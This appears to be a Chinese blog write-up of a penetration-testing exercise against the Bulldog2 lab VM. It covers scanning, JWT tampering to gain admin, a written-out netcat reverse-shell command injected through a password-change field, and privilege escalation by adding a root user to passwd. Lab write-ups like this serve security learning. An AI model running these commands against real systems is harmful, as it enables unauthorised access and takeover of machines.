Bulldog2 渗透测试

Bulldog2渗透测试

0x00:实验环境:

Bulldog2靶机

Kali linux

测试机 ubuntu19.10

0x01实验流程:

信息收集:

主机发现

端口发现

操作系统扫描

渗透测试

0x03 实验步骤:

  1. netdiscover主机发现

  1. 主机扫描(包括masscan和nmap)

Searchsploit nginx 1.14.0

  1. 访问web网站

发现无法注册,尝试dirb目录爆破

访问这两个目录,但是没有有价值的内容

  1. 查看前端代码

下载这四个js代码到本地

在vscode中打开并使用Beautiful代码美化插件美化

对代码进行审计,在web网页中得到无法注册的信息,在js代码中查询Register,发现注册需要四条信息,对其进行模拟注册

  1. 使用burpsuite抓包进行注册

导入repeater,并修改数据包内容

将认证改为注册,并添加注册所需的信息

但是什么都没有,考虑提取权限

仔细观察可以发现,用户名直接在url后面,我们可以尝试水平越权

更改url后面的用户名为admin

  1. 再次登陆,burpsuite抓取回包信息,返回一个JWT开头的token字段

JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;

  1. 搜索jwt解密token值得

在js脚本中搜索auth_level得

修改token中auth_level为,同时修改返回包中用户信息auth_level为master_admin_user

此时,登陆显示的为管理员

  1. Burpsuite抓包

可以看到返回值为200,但最下面为false

在修改密码处执行反弹shell脚本

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.145 1234 >/tmp/f;

并且kali开启监听

获得shell权限

  1. 接下来,提权

查看passwd

添加一个root权限的用户

perl -le 'print crypt(“password”,“aa”)’

其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

  1. 切换用户,wmy:password

用python命令打开一个新的终端

python -c 'import pty; pty.spawn("/bin/bash")'

至此,提权成功

0x04 思路总结

  1. 对于目录爆破出的页面,要仔细分析页面可以点击的链接,以及页面源代码,从中获取有用数据,包括用户名密码等
  2. 要善于利用burpsuite抓取并利用数据包
  3. 在获得shell权限后,可以首先寻找查看隐藏文件猜解root密码,或者通过其他手段例如创建root权限用户进行提权

 

 

发布了49 篇原创文章 · 获赞 3 · 访问量 440

猜你喜欢

转载自blog.csdn.net/baidu_39086634/article/details/105420822